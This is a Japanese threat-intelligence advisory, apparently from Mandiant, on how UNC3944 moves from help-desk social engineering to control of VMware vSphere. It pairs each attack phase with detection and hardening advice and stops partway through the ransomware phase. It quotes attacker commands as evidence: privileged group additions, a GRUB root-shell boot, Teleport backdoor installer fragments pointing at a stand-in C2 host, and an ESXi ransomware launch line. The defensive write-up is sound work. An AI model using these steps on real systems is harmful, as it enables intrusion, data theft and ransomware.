コンテンツに移動
脅威インテリジェンス

ヘルプデスクからハイパーバイザまで: UNC3944 から VMware vSphere 環境を防御する

2025年8月14日
Mandiant

※この投稿は米国時間 2025 年 7 月 24 日に、Google Cloud blog に投稿されたものの抄訳です。

はじめに

2025 年半ば、Google Threat Intelligence グループ(GTIG)は、小売、航空、保険など、複数の業界を標的とした高度で攻撃的なサイバー キャンペーンを特定しました。これは、金銭目的の脅威グループである UNC3944 の仕業でした。このグループは、「0ktapus」、「Octo Tempest」、「Scattered Spider」に関する公開報告と重複する活動を行っています。連邦捜査局(FBI)からの公開警告の後、このグループの標的が明らかになりました。GTIG は、このグループがランサムウェアと恐喝の標的を米国の小売業界に切り替えた疑いがあることを確認しました。キャンペーンはすぐにさらに拡大し、北米の航空会社や運輸機関も標的となりました。

このグループの主な戦術は一貫しており、ソフトウェアの脆弱性を利用するものではありません。代わりに、IT ヘルプデスクへの電話を軸とした実績のあるプレイブックを使用します。攻撃者は挑戦的かつ狡猾で、特にソーシャル エンジニアリングを使用して、成熟したセキュリティ プログラムでさえも回避するスキルに長けています。攻撃はただの場当たり的なものでなく、組織の最も重要なシステムやデータを標的とした、キャンペーン主導の精密なオペレーションです。

その戦略は、「Living-off-the-Land」(LoTL)アプローチに根ざしています。ソーシャル エンジニアリングを使用して 1 つ以上のユーザー アカウントを侵害した後、信頼できる管理システムを操作し、Active Directory の制御を VMware vSphere 環境にピボットするための足がかりとして使用します。これにより、ハイパーバイザから直接データを流出させ、ランサムウェアをデプロイする手段が提供されます。この手法は、従来のセキュリティ侵害インジケーター(IoC)がほぼ発生せず、エンドポイント検出と対応(EDR)などのセキュリティ ツールを回避するため、非常に効果的です。EDR は、ESXi ハイパーバイザと vCenter Server Appliance(VCSA)の可視性が制限されていたり、まったくないこともあります。

このブログ投稿では、UNC3944 の vSphere 中心の攻撃の構造を詳しく説明し、軽減に必要な強化な 3 本柱の防御戦略の概要を示します。VMware vSphere と Microsoft Active Directory の統合に関連するリスクについて詳細をご確認ください。また、今後のウェブセミナーに登録して、Mandiant のエキスパートから直接これらの戦略を学びましょう

vSphere ロギングの基本

UNC3944 の vSphere 関連のオペレーションに関する主な検出シグナルと強化戦略について説明する前に、vSphere のロギングと、vCenter イベントと ESXi ホストログの違いを理解しておくことが重要です。中央の syslog サーバーに転送されると、vCenter Server イベントと ESXi ホストログは、それぞれ異なるものの補完的な 2 つのデータソースとなります。根本的な違いは、スコープ、起源、vCenter ログの構造化されたイベント ドリブンな性質と、ESXi の詳細なファイルベースの出力にあります。

1. vCenter Server(VC イベント)

vCenter イベントは管理プレーンで動作し、仮想環境全体にわたる管理アクションと自動化されたプロセスの構造化された監査証跡を提供します。各イベントは、VmPoweredOnEventUserLoginSessionEvent などの一意の eventTypeId で識別される、個別の明確に定義されたオブジェクトです。このようなプログラマティックな識別は、自動解析、アラート、セキュリティ分析のために、Splunk や Google Chronicle などのセキュリティ情報およびイベント管理(SIEM)プラットフォームへ取り込む用途に最適です。

https://storage.googleapis.com/gweb-cloudblog-publish/images/vsphere-3944-fig1.max-1100x1100.png

図 1: VC イベントログの構造

  • ネイティブ ストレージと syslog 転送: これらのイベントは vCenter Server によって生成され、その内部 VCSA データベース(PostgreSQL)に保存されます。転送されると、vCenter はこれらの構造化イベントのリアルタイム コピーを syslog サーバーにストリーミングします。結果として得られるログメッセージには、通常、正式な eventTypeId と、人間が判読できるな説明が含まれているため、正確な分析が可能になります。
  • 主なユースケース
    • セキュリティ監査とフォレンジック: ユーザー アクション、権限の変更、認証の追跡
    • 変更管理: クラスタ、ホスト、仮想マシン(VM)に対するすべての構成変更の最終的な記録を提供
    • 自動アラート: 特定の eventTypeId(例: HostCnxFailedEvent)について、SIEM や監視ツールでアラートをトリガー
  • vCenter イベントの例 vCenter イベント マッピング リポジトリなどのリソースに記載されているように、各イベントには特定のプログラム識別子があります。
    • UserLoginSessionEvent
      • 説明: "User {userName}@{ipAddress} logged in as {locale}"
      • 重要度: vCenter 管理プレーンへのすべてのユーザー アクセスを追跡するための重要なセキュリティ イベント
    • VmCreatedEvent
      • 説明: "Created virtual machine {vm.name} on {host.name} in {datacenter.name}"
      • 重要性: アセット管理と変更管理に不可欠な、新しいインベントリ オブジェクトの作成を記録する
    • VmPoweredOffEvent
      • 説明: "Virtual machine {vm.name} on {host.name} in {datacenter.name} is powered off"
      • 重要度: ワークロードの運用状態と可用性を追跡します。予期しない電源オフ イベントは、トラブルシューティングの重要な指標となります。

VCSA のロギングの制限に関する注: VCSA は、デフォルトでは、拒否されたネットワーク接続やシェル コマンド アクティビティに関する重要なセキュリティ ログの転送をサポートしていません。このデフォルト以外の機能を有効にするには、ネイティブの Photon OS レベルでカスタム構成が必要です。これは、組み込みの Linux ツール(iptables や logger など)のみを活用し、サードパーティのソフトウェアをインストールしないエージェントレスのアプローチです。この構成では、ファイアウォールとシェルのイベントが VCSA の標準 rsyslog サービスにパイプされ、組み込みのリモート ロギング メカニズムによって中央 SIEM に転送されます。

2. ESXi ホストログ

ESXi ログはハイパーバイザ レベルで動作し、ホスト固有の運用データを詳細に提供します。これらには、カーネル、ハードウェア、ストレージ、ネットワーキング、ESXi ホストで直接実行されているサービスに関する詳細な診断情報が含まれています。

  • ネイティブ ストレージ: これらのログはデフォルトで有効になっており、ESXi ホスト自体に書式なしテキストファイルのコレクションとして保存されます。主に /var/log/ ディレクトリに保存されます。このストレージは、多くの場合、ローカル ディスクまたは永続的なスクラッチ パーティションです。永続的な場所が構成されていない場合、これらのログは一時的なものであり、再起動すると失われます。そのため、フォレンジックには syslog の転送が不可欠です。
https://storage.googleapis.com/gweb-cloudblog-publish/images/vsphere-3944-fig2.max-700x700.png

図 2: ESXi の標準ログ構造

  • 主なユースケース
    • パフォーマンスの問題の詳細なトラブルシューティング
    • ハードウェアの故障やドライバの問題の診断
    • ストレージとネットワーク接続の問題の分析
  • syslog に送信される ESXi ログエントリの例:
    • vmkernel.log から): ストレージ デバイスのレイテンシに関する詳細なログ
    • hostd.log から): API 呼び出し、ホストで開始された VM の状態変更、ホスト サービス アクティビティなど、ホスト エージェントからのログ
    • auth.log から): SSH または DCUI 経由でホストに直接ログインしようとして成功または失敗した記録

3. ESXi ホストの監査ログ

ESXi 監査レコードは、ESXi ホストで直接実行されたアクションのセキュリティに重点を置いた、高忠実度のログを提供します。次に示す例の分析は、このログソースがセキュリティ調査の標準ログよりもフォレンジック的に優れている理由を示していますこれらのログはデフォルトでは有効になっていません。

ネイティブ ストレージと永続性: これらのレコードは、Syslog.global.auditRecord.storageEnable = TRUE パラメータによって管理され、ホストのローカル ファイル システムの audit.*.log に書き込まれます。この監査証跡が再起動後も残るようにするには、永続ストレージの構成が重要です。

https://storage.googleapis.com/gweb-cloudblog-publish/images/vsphere-3944-fig3a.max-900x900.png

図 3: ESXi 監査ログの構造

  • フォレンジック分析: 標準と監査ログ: 提供されたシナリオでは、脅威アクターが ESXi ホストにログインし、マルウェアを実行しようとして、execInstalledOnly セキュリティ設定を無効にします。各ログタイプでこのイベントをキャプチャする方法は次のとおりです。
  • 標準の syslog shell.log 分析: 標準ログは、シェルに入力されたコマンドの単純な時系列履歴を提供します。
https://storage.googleapis.com/gweb-cloudblog-publish/images/vsphere-3944-fig4a.max-900x900.png

図 4: ESXi の標準ログ出力

    • 制限事項:
      • ログイン コンテキストなし: 脅威アクターの送信元 IP アドレスや、最初の SSH ログインが成功したことが表示されません。

      • 結果なし: コマンド ./malware が入力されたことは示されていますが、成功したか失敗したかに関する情報は提供されていません。

      • 不完全なナラティブ: これは単なるコマンド履歴であり、完全なセキュリティ調査に必要な重要なコンテキストが欠けています

ESXi 監査ログ分析: ESXi 監査ログは、接続から終了までのセッション全体について、各コマンドの結果を含め、構造化された検証可能な記録を豊富に提供します。

https://storage.googleapis.com/gweb-cloudblog-publish/images/vsphere-3944-fig5a.max-1100x1100.png

図 5: ESXi 監査ログの出力

    • ログイン成功: 認証が成功したことを、送信元 IP を含めて明示的に記録します。
    • マルウェアの実行失敗: これは最も重要な違いです。監査ログには、マルウェアの実行が終了ステータス 126 で失敗したことが示されています。
    • セキュリティの無効化に成功: 次に、キー セキュリティ機能を無効にするコマンドが成功したことを確認します。

この並列比較から、標準の ESXi ログでは脅威アクターの意図が示されるのに対し、ESXi 監査ログでは実際の結果が明らかになり、実用的なインテリジェンスと明確なフォレンジック トレイルが提供されることがわかります。vSphere 環境の包括的なロギング戦略では、3 つの相互補完的なデータソースの収集と分析が必要です。中央の syslog サーバーに転送されると、vCenter Server イベント、ESXi ホストの監査レコード、標準の ESXi 運用ログによって、環境のセキュリティ、管理上の変更、運用の健全性に関する多層的なビューが提供されます。

 

特性

vCenter Server イベント

ESXi 監査ログ

ESXi 標準ログ

範囲

Virtual Center、ESXi

ESXi

ESXi

デフォルト

有効

無効

有効

形式

構造化オブジェクト(eventTypeId)

詳細な構造化監査エントリ

非構造化 / 半構造化テキスト

タイプ

運用、管理、監査

セキュリティ監査、カーネルレベルのアクション

管理、システムレベルの状態

メインの保存先

VCSA 内部データベース

ローカル ファイルシステム(audit.log)

ローカル ファイルシステム(/var/log/)

主なユースケース

集中監査、完全なクラスタ管理、フォレンジック

直接ホスト フォレンジック、コンプライアンス

詳細なトラブルシューティング、診断

表 1: ESXi ログと vCenter イベントの比較

攻撃の実態: プレイブック

UNC3944 の攻撃は 5 つの独特なフェーズにわたって展開され、初歩の足場作りからハイパーバイザの完全な制御まで、計画的に進められます。

https://storage.googleapis.com/gweb-cloudblog-publish/images/ransomware-attack-chain.max-2200x2200.png

図 6: UNC3944 の一般的な攻撃チェーン

フェーズ 1: 最初の侵害、偵察、エスカレーション

この初期段階では、人的要素を悪用することが重要です。

  • 戦術: 脅威アクターは、一般従業員を装って IT ヘルプデスクに電話をかけ、連絡を取ります。以前のデータ侵害で簡単に手に入った個人情報を使用し、説得力のある、あるいは脅迫的なソーシャル エンジニアリングの手法を採用して、関係を築き、従業員のアクティブ ディレクトリのパスワードをリセットするようエージェントを説得します。このように足場をまず確保すると、攻撃者は内部偵察ミッションを 2 つの方向から開始します。

    • 方向 A(情報ストア): 新しいアクセス権を使用して、社内の SharePoint サイト、ネットワーク ドライブ、Wiki をスキャンします。価値の高い標的を明らかにする IT ドキュメント、サポートガイド、組織図、プロジェクト計画書などを探します。これには、個々のドメイン管理者や vSphere 管理者の名前だけでなく、仮想環境に対する管理権限を付与する「vSphere Admins」や「ESX Admins」など、明らかに権限の強い名前の Active Directory セキュリティ グループの検出も含まれます。

    • 方向 B(シークレット ストア): 同時に、HashiCorp Vault などのパスワード マネージャーやその他の特権アクセス管理(PAM)ソリューションへのアクセスをスキャンします。アクセス制御が弱いものを見つけると、認証情報を列挙しようとします。

高い権限を持つ管理者の名前を把握したうえで、ヘルプデスクにさらに電話をかけます。今回は、特権ユーザーになりすましてパスワードのリセットをリクエストし、特権アカウントを乗っ取ります。

  • 効果的な理由: この 2 段階のプロセスでは、最初の権限昇格に Kerberoasting のような技術的なハッキングは必要ありません。主な脆弱性は、ヘルプデスクによるパスワードのリセットのプロセスにおいて、堅牢で譲渡不可能な本人確認が欠けていることです。2 回目の電話では、脅威アクターは自信を持って情報を提供するため、なりすましが成功する可能性がはるかに高くなります。
  • 主な検出シグナル:
    • [ログ] コマンドラインとプロセスの実行をモニタリングする: 堅牢なコマンドライン ロギングを実装します(例: Audit Process Creation、Sysmon イベント ID 1、EDR)。wsmprovhost.exe(WinRM)が net.exe などのネイティブ ツールを起動して、機密性の高いグループ(net group "ESX Admins" /add など)をクエリまたは変更するなど、不審なリモート プロセス実行のアラートを作成します。
    • [ログ] グループ メンバーシップの変更をモニタリングする: 「vSphere Admins」、「ESX Admins」などの名前のグループに変更があった場合、AD イベント ID 4728(セキュリティが有効なグローバル グループへのメンバーの追加)または 4732(ローカル グループ)の高優先度アラートを作成します。
    • [ログ] AD パスワードのリセットとヘルプデスクの活動を関連付ける: AD イベント ID 4724(パスワードのリセット)と、その後の新しい多要素認証(MFA)デバイスの追加を、ヘルプデスクのチケットログと通話記録に関連付けます。
    • [行動] 異常なファイル アクセスに関するアラート: 1 人のユーザーが異常に大量の異なるファイルや SharePoint サイトにアクセスした場合にアラートを発します。これは、UNC3944 の偵察活動中に見られた強い兆候です。
    • [重大な動作] ティア 0 アカウントのアクティビティをモニタリングする:ティア 0 アカウント(ドメイン管理者、エンタープライズ管理者、vSphere)のパスワードのリセットは、確実に証明されるまでは重大なインシデントとして扱われる必要があります。
  • 重要な強化と軽減:
    • [重大] 権限のあるアカウントの電話ベースのリセットを禁止する: すべてのティア 0 アカウントに対して、「電話でのパスワードのリセットは禁止」という厳格なポリシーを適用します。これらのアクションには、対面、複数手法、または高保証の本人確認プロセスを必要とします。

    • 特権 AD グループを保護およびモニタリングする: これらのグループをティア 0 アセットとして扱い、メンバーシップを変更できるユーザーを厳密に管理し、メンバーシップの変更(AD イベント ID 4728/4732)に対する高忠実度のアラートを実装します。脅威アクターは、この操作を実行するために、net.exe などのネイティブ ツールを、多くの場合 WinRM などのリモート プロトコル経由で使用するため、これは非常に重要です。高い権限を付与するセキュリティ グループに、「vSphere Admins」のようなわかりやすい名前を使用するのは控えるべきです。

    • 情報ストアを強化する: データ損失防止(DLP)とデータ分類を実装して、価値の高い標的を明らかにする可能性のある機密性の高い IT ドキュメントを特定してロックダウンします。シークレット ボルトをティア 0 アセットとして扱い、厳格な最小権限アクセス ポリシーを適用します。

    • リモート管理ツールを制限または監視する: WinRM や vSphere 管理 API などのリモート管理プロトコルの使用を、承認された管理サブネットと専用の PAW に制限します。リモート コマンドをすべてログに記録して、レビューと異常検出ができるようにします。

表 2 に、Active Directory のエスカレーションをサポートする脅威アクターの行動と、組織がこのアクティビティを検出するために使用できるプロセスとコマンドラインのデータを示します。

 

プロセス名

コマンドライン

戦術

脅威アクターの目標

explorer.EXE

"C:\Program Files...\WORDPAD.EXE" "\10.100.20.55\c$\Users\j.doe...\ACME Power Division\Documents\Procedure for Deploying ESXi...docx"

偵察

脅威アクターは、侵害されたユーザー アカウントを使用して IT 手順のドキュメントを開き、vSphere 環境を把握して、ターゲットとなる名前を特定します。

explorer.EXE

"C:...\NOTEPAD.EXE" \prd-mgmt-srv02.acme-corp.local\c$\Users\adm-svc-vcenter\Desktop\ESX HOST CLUSTER ISSUE.txt

偵察

脅威アクターは偵察を続け、システム、グループ、管理者の名前が含まれている可能性が高い管理サーバー上のファイルを開きます。

wsmprovhost.exe

"C:...\net.exe" group "ESX Admins"

列挙

グループ名を見つけた脅威アクターは、WinRM を使用して「ESX Admins」グループのメンバーシップをリモートでクエリし、標的を特定します。

wsmprovhost.exe

"C:...\net.exe" group "ESX Admins" ACME-CORP\temp-adm-bkdr /add

操作

これが重要な攻撃です。脅威アクターは、管理下のアカウント(temp-adm-bkdr)を「ESX Admins」グループに追加し、vSphere に対する完全な管理者権限を付与します。

wsmprovhost.exe

"C:...\net.exe" group "ESX Admins"

検証

脅威アクターは、変更直後にグループを再度クエリして、悪意のあるユーザーが正常に追加されたことを確認します。

表 2: Active Directory ユーザーのエスカレーション

フェーズ 2: vCenter へのピボット - コントロール プレーンの侵害

Active Directory の認証情報が vSphere の認証情報にマッピングされると、脅威アクターは仮想環境の中核に目を向けます。

  • 戦術: 侵害された認証情報を使用して、vSphere vCenter Server GUI にログインします。そこから、vCenter 管理者権限を利用して、VCSA 自体への「仮想的な物理アクセス」に相当するものを取得します。リモート コンソールを開いてアプライアンスを再起動し、GRUB ブートローダを編集してルートシェル(init=/bin/bash)で起動することで、パスワードなしでルートアクセスを取得します。その後、再起動時に SSH アクセスを有効にするために、ルート パスワードを変更します。足場を維持するために、攻撃者は正規のオープンソース リモート アクセス ツールである teleport をアップロードして実行し、ほとんどのファイアウォール下り(外向き)ルールをバイパスする、永続的で暗号化されたリバースシェル(C2 チャネル)を作成します。
  • 効果的な理由: vCenter の Active Directory への信頼の委任は、多くの場合 LDAP(S) を介して行われるため、最初のログインは MFA で保護されません。VCSA の乗っ取りは、仮想環境管理者の基本的な権限である、VM の起動前にコンソールを操作できる機能を悪用しています。
  • 主な検出シグナル:
    • [ログ] vCenter イベントをモニタリングして、ログイン(com.vSphere.vc.UserLoginSessionLoginSuccessEvent)(com.vSphere.vc.UserLoginSessionLoginFailureEvent)と再起動(com.vSphere.vc.appliance.ApplianceRebootEvent)を検出します。
    • [ログ] リモート VCSA syslog で「SSH」などの接頭辞が付いたログエントリをモニタリングし、SSH 試行の失敗や iptables によるその他のトラフィックのブロックを検出します。
    • [ログ] VCSA で journald をモニタリングし、VCSA のログを SIEM にリモート転送して、不正なシェルアクセスと SSH およびシェルサービスの有効化を検出できるようにします。
https://storage.googleapis.com/gweb-cloudblog-publish/images/vsphere-3944-fig7a.max-1100x1100.png

図 7: VCSA SSH サービスを有効にするためのリモート syslog イベント

    • [ネットワーク] ネットワーク フローログを使用して、VCSA の IP アドレスからの異常なアウトバウンド接続を特定します。

    • [ネットワーク] vCenter からの異常な DNS リクエスト - この検出では、vSphere vCenter サーバーが、既知の信頼できるサイトの明示的な許可リストにないドメイン(vSphere.comntp.org、内部ドメインなど)の DNS リクエストを行う場合を特定します。

    • [ログ] ツールをダウンロードするための cURL または Wget の使用: この検出では、外部 URL からファイルをダウンロードするために、重要なサーバー(vCenter、ドメイン コントローラ、データベース サーバーなど)で cURL や Wget などのコマンドライン ユーティリティが使用されたことを特定できます。

  • 重要な強化と軽減:
    • [重大] VCSA のリモート ロギングを有効にする: VCSA アプライアンスで リモート syslog 転送を実装します。

    • [重大] vCenter でフィッシング耐性のある MFA を適用する: サポートされている ID プロバイダとの認証をフェデレーションして、すべての vCenter ログインに FIDO2/WebAuthn などのフィッシング耐性のある MFA ソリューションを実装します。これは、認証情報の盗難の脅威を直接無効化する重要な制御であり、vCenter ユーザーに対するフィッシング攻撃を無効にします。

    • [重大] vCenter で最小権限を適用する: 管理者ロールの使用を厳しく制限し、administrator@vsphere.local などの専用の「ブレークグラス」アカウントのみにします。代わりに、特定の職務機能に対してきめ細かいカスタムロールを作成し、ユーザーとグループに必要な最小限の権限のみを付与することで、侵害された AD アカウントと vCenter の完全な乗っ取りの間のリンクを断ちます。

    • [重大] VCSA ファイアウォールを使用してシェルアクセスをブロックする: 下り(外向き)フィルタリングと組み込みのファイアウォールを使用して、VCSA からの不要なすべてのアウトバウンド インターネット トラフィックをブロックします。SSH シェルと BASH シェルをデフォルトで無効にします。これにより、teleport バックドアが阻止され、VCSA の乗っ取りが大幅に困難になります。

    • [重大] VCSA の基盤となる iptables ファイアウォールを構成する: すべての管理インターフェース(443、5480、22)に対してゼロトラストの許可リストを適用し、拒否されたすべての接続のロギングを有効にします。デフォルトの VCSA GUI ファイアウォールは、侵害されたウェブセッションを持つ攻撃者によって無効化される可能性があります。また重要なのは、ブロックされた接続試行はログに記録されません。OS レベルで iptables を構成することで、ルールは GUI の改ざんの影響を受けなくなり、拒否されたすべての接続がログに記録され、SIEM に転送されます。

表 3 に、Teleport のインストールをサポートする脅威アクターの行動と、組織がこの活動を検出するために使用できる重要な証拠を示します。

 

戦術

主な証拠

脅威アクターの目標

スクリプトを実行して権限をアサートする

sudo: root : ... COMMAND=/usr/bin/bash -c '#!/bin/bash...'

assert_running_as_root()

脅威アクターは、sudo を使用してインストーラを実行します。スクリプトの最初のアクションは、システム全体のインストールに必要なルート権限があることを確認することです。

インストール パラメータを定義する

SCRIPT_NAME="teleport-installer"

TELEPORT_BINARY_DIR="/usr/local/bin"

TELEPORT_CONFIG_PATH="/etc/teleport.yaml"

このスクリプトは、侵害された VCSA のファイル システムにバックドアのバイナリと構成ファイルを配置する場所など、コアパラメータを定義します。

C2 と認証の詳細をハードコードする

TARGET_HOSTNAME='c2.attacker.net'

JOIN_TOKEN='[REDACTED_JOIN_TOKEN]'

CA_PIN_HASHES='sha256:[REDACTED_CA_PIN_HASH]

脅威アクターは、エージェントが外部のコマンド アンド コントロール(C2)サーバーに接続して認証するために必要な、事前に生成された一意の認証情報を埋め込みます。

OS を検出してパッケージ タイプを選択する

if [[ ${f} != "tarball" && ${f} != "deb" ...

このスクリプトには、基盤となるオペレーティング システム(Debian、RHEL、または VCSA のような汎用 Linux)を選択して、正しいインストール パッケージ(.deb、.rpm、または .tar.gz)を使用するロジックが含まれています。

バイナリのダウンロードとインストール

スクリプトのロジックは、'tarball' パッケージをダウンロードし、バイナリを /usr/local/bin に解凍する処理に進みます。

OS の検出に基づいて、スクリプトは脅威アクターが管理するソースから適切な Teleport パッケージをダウンロードし、バイナリ(teleporttshtctl)を事前定義されたディレクトリにインストールします。

永続性の確立

SYSTEMD_UNIT_PATH="/lib/systemd/system/teleport.service"

[暗黙的なアクション] スクリプトが systemd ユニット ファイルを作成して有効にする

バックドアが再起動後も存続するように、スクリプトは定義されたパスを使用して systemd サービス ファイルを作成します。次に、テレポート サービスを有効にして開始します。これにより、C2 サーバーへの最終的な永続的接続が開始されます。

表 3: VCSA Teleport のインストール

フェーズ 3: ハイパーバイザーの強奪 - オフラインでの認証情報の窃取と流出

脅威アクターは、vSphere の制御を利用して、ゲスト内セキュリティや EDR に感知されずに行動します。

  • 戦術: 脅威アクターは vCenter から ESXi ホストで SSH を有効にし、ルート パスワードをリセットします。その後、ドメイン コントローラ VM を特定して電源をオフにし、その仮想ディスク(.vmdk)を切り離すことで、オフライン攻撃を実行します。このディスクは、その後、脅威アクターが制御する忘れられた VM、つまり「孤立した」VM にセカンダリ ドライブとして接続されます。この監視されていないマシンから、NTDS.dit Active Directory データベースをコピーします。その後、逆のプロセスを行い、DC の電源が何事もなかったかのように復旧します。盗まれたデータは、2 段階のプロセスで移動されます。まず、sftp を使用して、孤立した VM から侵害された VCSA への内部転送が行われます。次に、すでに確立されている teleport C2 チャネルを介して、VCSA から脅威アクターが制御するクラウド サービスへの外部流出が行われます。

  • 効果的な理由: この操作はすべてハイパーバイザレイヤで行われるため、ドメイン コントローラのオペレーティング システム内で実行されている EDR やセキュリティ エージェントからは見えません。VCSA をデータ ファンネルとして使用すると、ネットワーク セグメンテーション ルールがバイパスされます。

表 4 に、VM データ流出をサポートする脅威アクターの行動と、組織がこのアクティビティを検出するために使用できる重要な証拠を示します。

 

戦術

証拠の情報源

主な証拠

脅威アクターの目標

ターゲット VM を特定する

ブラウザの履歴

URL: https://vcsa-prod-01.acme.local/ui/...

ページタイトル: vSphere - ACME-DC01 - Datastores

侵害されたユーザーとしてログインした脅威アクターは、vSphere UI を参照して、ターゲット ドメイン コントローラ(ACME-DC01)の仮想マシンを探します。

ステージング VM を特定する

ブラウザの履歴

URL: https://vcsa-prod-01.acme.local/ui/...

ページタイトル: vSphere - OLD-APPSRV-01 - ネットワーク

脅威アクターは、ステージング VM として使用する、見捨てられたように見えるサーバー(OLD-APPSRV-01)を特定し、そのサーバーに DC のディスクをマウントします。

ディスク交換の実行

vCenter イベントログ

イベント: [vim.event.VmReconfiguredEvent]

ユーザー: ACME\threat.actor

アクション: esxi-prod-02.acme.local で OLD-APPSRV-01 を再構成

脅威アクターは、ステージング VM で VM の再構成をトリガーします。これで、ディスクのアタッチ プロセスが開始されます。

ディスクのアタッチを確認する

vCenter イベントログ

デバイスの変更: ...backing = (fileName = 'ds:///vmfs/volumes/.../ACME-DC01/ACME-DC01_4.vmdk' ...)

ログには、ステージング VM でディスク デバイスが変更されていることが示されています。ソースファイル パスから、ドメイン コントローラ(ACME-DC01)に属する仮想ディスク(.vmdk)がアタッチされていることが明確にわかります。

ホストの実行を確認する

ESXi ホストログ(hostd.log)

タスク: VpxaTask: VpxaReconfigVM /vmfs/volumes/.../OLD-APPSRV-01/OLD-APPSRV-01.vmx

同時に、ESXi ホストは、ステージング VM に対して実行されている ReconfigVM_Task をログに記録し、ハイパーバイザ レベルでアクションが実行されたことを確認します。

表 4: 仮想マシンのデータ流出

  • 主な検出シグナル:
      • [BEHAVIOR] vSphere UI で偵察をモニタリングする: 攻撃の前に、脅威アクターは vSphere クライアントを閲覧して、ターゲット(ACME-DC01 という名前の VM など)とステージング VM(OLD-APPSRV-01)を特定します。管理者のワークステーションから UI アクセスログやブラウザ履歴を入手できる場合は、不審なブラウジング パターンと後続の再構成イベントを関連付けることで、非常に早い段階で警告を発することができます。

      • [ログ] 精査: この匿名化された実際の例に示すように、ステージング VM の vim.event.VmReconfiguredEvent(例: OLD-APPSRV-01)の構成の詳細には、ターゲット VM のディスクのファイルパスが含まれます(例: backing = (fileName = '.../ACME-DC01/ACME-DC01_4.vmdk' ...))。このイベントデータを解析して、重要なアセットのディスクが標準以外のマシンにアタッチされたときに検出する、優先度の高いアラートを作成します。

      • [ログ] イベント シーケンス全体を関連付ける: 重要なアセットで vCenter イベントのシーケンス全体を関連付けることで、忠実度の高いアラートを構築できます。VmPoweredOffEvent の後に、前述の VmReconfiguredEvent が続き、最終的に VmPoweredOnEvent が vmtoolsd.exe によって開始された再起動と組み合わされます。また、6006(シャットダウン)や 6005(起動)などの Windows ゲスト イベントもサポートされます。

      • [行動] 「廃止」または「孤立」フォルダにある VM で電源投入または再構成イベントが発生した場合、CRITICAL アラートを作成します。これらの VM は、脅威アクターのステージング VM として悪用される可能性が非常に高いためです。

      • [ログ] ESXi ホストの変更をモニタリングする: vCenter イベント(vim.event.HostServiceStartedEvent)、ファイアウォール構成の変更(vim.event.HostFirewallInfoChangedEvent)、ESXi ホスト自体でのルートシェルへの直接アクセスログを介して SSH サービスの開始をアラートで通知します。

  • 重要な強化と軽減:
    • [重大] vSphere VM の暗号化を使用する: すべてのティア 0 の仮想化されたアセットを暗号化します。これは、盗まれた .vmdk ファイルが読み取り不可能になるため、オフラインの「ディスク スワップ」攻撃に対する決定的な技術的ブロックとなります。

    • [重大] 厳格な VM 廃止プロセスを実装する: ディスクを削除して、古い VM を正式に廃止します。電源がオフの「孤立した」VM は脅威アクターにとって理想的な作業台となるため、データストアに放置しないようにします。

    • [重大] ESXi アカウントの強化: デフォルトの ESXi root アカウントを無効にして、複雑なパスワードを持つ名前付きの「ブレークグラス」アカウントを使用します。ESXi 8.0 以降では、esxcli system account set -i vpxuser -s false を実行して、侵害された vCenter ユーザーが ESXi の root パスワードを変更できないようにします。

    • [重大] ESXi リモート監査ログを有効にする: ESXi リモート監査ログ(vpxa.loghostd.logaudit_records)を SIEM で有効にして、ホスト自体でセキュリティに重点を置いたイベントの詳細を集中管理できるようにします。
https://storage.googleapis.com/gweb-cloudblog-publish/images/vsphere-3944-fig8.max-1000x1000.png

図 8: ESXi への SSH アクセスのリモート syslog イベント

フェーズ 4: バックアップの妨害 - セーフティ ネットの除去

ランサムウェアをデプロイする前に、攻撃者は標的が復元できないようにします。

  • 戦術: Active Directory を完全に制御できることを利用して、脅威アクターはバックアップ インフラストラクチャ(仮想化されたバックアップ サーバーなど)を標的にします。侵害されたドメイン管理者の認証情報を再利用して RDP 経由でログインするか、よりステルス性の高い方法として、制御するユーザーを AD の「Veeam Administrators」セキュリティ グループに追加します。侵入に成功すると、すべてのバックアップ ジョブ、スナップショット、リポジトリを削除します。
  • 効果的な理由: これは、管理階層化の欠如(同じ強力なアカウントが仮想化とバックアップの両方を管理している)と、重要な AD セキュリティ グループの変更のモニタリングが不十分であることが原因です。
  • 主な検出シグナル:
    • [検出方法 A] 高権限アカウントによるバックアップ サーバーへのインタラクティブ ログオン(Windows イベント ID 4624)をモニタリングする。
    • [検出方法 B] 「Veeam Administrators」グループの変更について、イベント ID 4728(「セキュリティが有効なグローバル グループにメンバーが追加されました」)の AD ログから重大なアラートをトリガーする
    • [ログ] バックアップ アプリケーション独自の監査ログをモニタリングして、大量削除イベントを検出する。
  • 重要な強化と軽減:
    • [重大] バックアップ インフラストラクチャを分離する: Veeam サーバーとそのリポジトリは、MFA で保護された、高度に制限された別のセキュリティ ドメインに配置するか、AD に参加していない専用の認証情報を使用する必要があります。これにより、脅威アクターが利用する AD 信頼関係が断たれます。
    • [重大] 変更不可のリポジトリを利用する: これは、バックアップの削除に対する技術的な安全策です。脅威アクターがバックアップ コンソールへの完全な管理者権限を取得した場合でも、バックアップ データは一定期間削除できなくなります。

フェーズ 5: 暗号化 - ハイパーバイザからのランサムウェア

標的に目隠しがされ、セーフティ ネットも失われると、最終段階が始まります。

  • 戦術: 脅威アクターは、ESXi ホストへの SSH アクセスを使用して、カスタム ランサムウェア バイナリを SCP/SFTP 経由で /tmp などの書き込み可能なディレクトリにプッシュします。次に、ネイティブの ESXi コマンドライン ツールである vim-cmd を使用するスクリプトを実行して、ホスト上のすべての VM を強制的に電源オフにします。最後に、ランサムウェア バイナリを起動します(多くの場合、ログアウト後も継続されるように nohup を使用します)。これにより、データストアがスキャンされ、すべての VM ファイル(.vmdk.vmx など)が暗号化されます。

表 5 に、ESXi ランサムウェアの実行をサポートする脅威アクターの行動と、組織がこのアクティビティを検出するために使用できる重要な証拠を示します。

 

戦術

ソースログファイル

主な証拠

脅威アクターの目標

SSH ログイン

/var/log/auth.log

「root@10.10.10.5」の SSH セッションが開かれました

脅威アクターは、インタラクティブな SSH セッションを介して、侵害された ESXi ホストに root としてログインします。

ペイロードの準備

/var/log/shell.log

chmod 0777 encrypt.out

cp encrypt.out encrypt_.out

ランサムウェア ペイロードを実行可能にするための脅威アクターのコマンドは、ESXi シェルログでキャプチャされます。

除外リストを作成

/var/log/shell.log

echo VCSA-01-PROD >> list.txt

echo DC-01-PASSIVE >> list.txt

シェルログには、list.txt ファイルの作成が記録されており、脅威アクターがシステムを選択的に暗号化しようとしていたことがわかります。

ランサムウェアの実行

/var/log/shell.log

nohup sh -c 'sleep 14400 && /encrypt_.out -pass [REDACTED_ENCRYPTION_KEY] -skip_vms /list.txt' &

